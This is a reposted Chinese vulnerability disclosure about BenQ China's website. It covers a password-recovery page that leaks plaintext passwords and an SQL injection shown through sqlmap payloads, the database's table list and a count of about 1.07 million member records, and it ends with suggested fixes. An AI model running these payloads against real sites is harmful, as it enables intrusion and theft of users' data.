记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

某电通公司主站漏洞合集+107万会员密码明文

2015-01-11 01:50

code 区域
明基BenQ是全球一线5C(电脑、通信、消费电子,车载电子,医疗电子)品牌,史上最年轻且成长速度最快的世界500强企业,全球前三大LCD面板制造商,亚洲唯一一个横跨多个不同领域的大型华人企业,旗下拥有明基电通,明基企业服务中心,友达光电,佳世达科技,达方电子,达信科技,达虹科技,瑞鼎科技,威力盟电子,达运精密,达兴材料,明基逐鹿,达隆电子,明基医院,三丰医疗,明基材料,明基医材,奈普,辅祥实业,隆达电子,凯鼎科技,M.Setek,友达能源,达意科技等25个成员公司,跨足PC、绿能、面板、太阳能、资通讯产品、上游材料与医疗保健等事业。





主站地址:www.benq.com.cn



这里要说明2个漏洞:

1、找回密码功能导致密码泄漏;

进入主站,点击最上面的“快速登录”,再点击“记忆密码”,输入帐号及验证码,下一步会进入错误页面,把SQL打印出来,而且。。。居在有密码明文。



进而觉得这个站的安全意识不高,很可能有其它问题,点了点,就找到了下面的SQL注入。



2、某页面SQL注入,可以sql-shell,可以查看到以下重要信息

页面URL:http://www.benq.com.cn/support/drivers/?conf_name=monitor&prod_model=BL2201M,其中的conf_name参数可以被注射

a)可查看到管理员帐户密码等信息;

b)查询到107万注册会员的信息,包括密码明文。

漏洞证明:

问题1:找回密码漏洞:

1、进入找回密码页面,输入相关信息

1-1.png



2、下一步后,进入错误页面,密码的MD5与明文均显示出来。

1-2.png





问题2:SQL注入

第1步:显示数据库名称,其实在前面的错误页面已经看到了,是benq。

code 区域
sqlmap identified the following injection points with a total of 42 HTTP(s) requests:

---

Place: GET

Parameter: conf_name

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: conf_name=monitor' AND 9677=9677 AND 'JRvg'='JRvg&prod_model=BL2201M



Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: conf_name=monitor' AND (SELECT 8378 FROM(SELECT COUNT(*),CONCAT(0x7167706971,(SELECT (CASE WHEN (8378=8378) THEN 1 ELSE 0 END)),0x71726e6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kWDG'='kWDG&prod_model=BL2201M



Type: UNION query

Title: MySQL UNION query (NULL) - 1 column

Payload: conf_name=monitor' UNION ALL SELECT CONCAT(0x7167706971,0x6c726761534a59556d6c,0x71726e6871)#&prod_model=BL2201M



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: conf_name=monitor' AND SLEEP(5) AND 'Pnry'='Pnry&prod_model=BL2201M

---

web application technology: PHP 5.4.23

back-end DBMS: MySQL 5.0

available databases [2]:

[*] benq

[*] information_schema





第2步:列表名,发现2张重要的表,auth__user和member__users,应该是管理员表和会员表。

code 区域
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Place: GET

Parameter: conf_name

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: conf_name=monitor' AND 9677=9677 AND 'JRvg'='JRvg&prod_model=BL2201M



Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause

Payload: conf_name=monitor' AND (SELECT 8378 FROM(SELECT COUNT(*),CONCAT(0x7167706971,(SELECT (CASE WHEN (8378=8378) THEN 1 ELSE 0 END)),0x71726e6871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'kWDG'='kWDG&prod_model=BL2201M



Type: UNION query

Title: MySQL UNION query (NULL) - 1 column

Payload: conf_name=monitor' UNION ALL SELECT CONCAT(0x7167706971,0x6c726761534a59556d6c,0x71726e6871)#&prod_model=BL2201M



Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: conf_name=monitor' AND SLEEP(5) AND 'Pnry'='Pnry&prod_model=BL2201M

---

web application technology: PHP 5.4.23

back-end DBMS: MySQL 5.0

Database: benq

[89 tables]

+----------------------------+

| auth__log |

| auth__operates |

| auth__user |

| benq__cms_follow_bak |

| benq__cms_footer_bak |

| benq__cms_menu_bak |

| benq__conf |

| benq__conf_section |

| benq__names |

| benq__names_bak |

| benq__prod |

| benq__prod_3dgls |

| benq__prod_benjoy |

| benq__prod_box |

| benq__prod_class |

| benq__prod_conf |

| benq__prod_conf_search |

| benq__prod_conf_search_bak |

| benq__prod_diy |

| benq__prod_dsc |

| benq__prod_dsk |

| benq__prod_earphone |

| benq__prod_figure |

| benq__prod_gaopaiyi |

| benq__prod_ifp |

| benq__prod_images |

| benq__prod_kbd |

| benq__prod_kmcombo |

| benq__prod_lcd |

| benq__prod_lfd |

| benq__prod_mopo |

| benq__prod_mouse |

| benq__prod_pc |

| benq__prod_printer |

| benq__prod_prj |

| benq__prod_scanner |

| benq__prod_search |

| benq__prod_subclass |

| benq__prod_tag |

| benq__tags |

| benq__tags_assoc |

| cms__alt |

| cms__anchor |

| cms__article |

| cms__associate |

| cms__category |

| cms__driver |

| cms__driver_include |

| cms__email |

| cms__event |

| cms__follow |

| cms__footer |

| cms__indivi_seo |

| cms__indivi_seo_bak |

| cms__info |

| cms__info_bak |

| cms__info_include |

| cms__menu |

| cms__page |

| cms__page_section |

| cms__pic |

| cms__pic_rule |

| cms__pic_size |

| cms__pic_tag |

| cms__resource |

| cms__resource_content |

| cms__resource_html |

| cms__section_associate |

| cms__section_layout |

| cms__section_link |

| cms__section_template |

| cms__service_center |

| cms__service_center_assoc |

| cms__template |

| image_move_temp |

| member__bind |

| member__prod_reg |

| member__profile |

| member__recommend |

| member__users |

| mobi__article |

| mobi__article_category |

| mobi__buyapply |

| mobi__info |

| mobi__layout |

| mobi__page |

| mobi__resource |

| mobi__search |

| mobi__seo |

+----------------------------+





第3步:管理员表的内容就不看了。找回密码漏洞发现把会员的密码明文显示了,说明数据库应该是保存的密码明文,稍证实下自己的猜想,看下表member__users的数据,可以看到最后一列就是密码明文

1-4.png







最后看一下一共有多少会员,107万有余

code 区域
web application technology: PHP 5.4.23

back-end DBMS: MySQL 5.0

select count(*) from member__users;: '1075524'







测试过程查看的数据在提交乌云后已经全部删除,请务查水查~

修复方案:

1、修复找回密码功能,错误页面重定向;

2、防SQL注入,可以用nginx等做前端过滤,修改工作量较小,效果较好。



to明基厂商:送个礼物吧,最好是明基的产品,我是你们忠实的客户。


知识来源: www.wooyun.org/bugs/wooyun-2015-079120

阅读:130814 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“某电通公司主站漏洞合集+107万会员密码明文”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云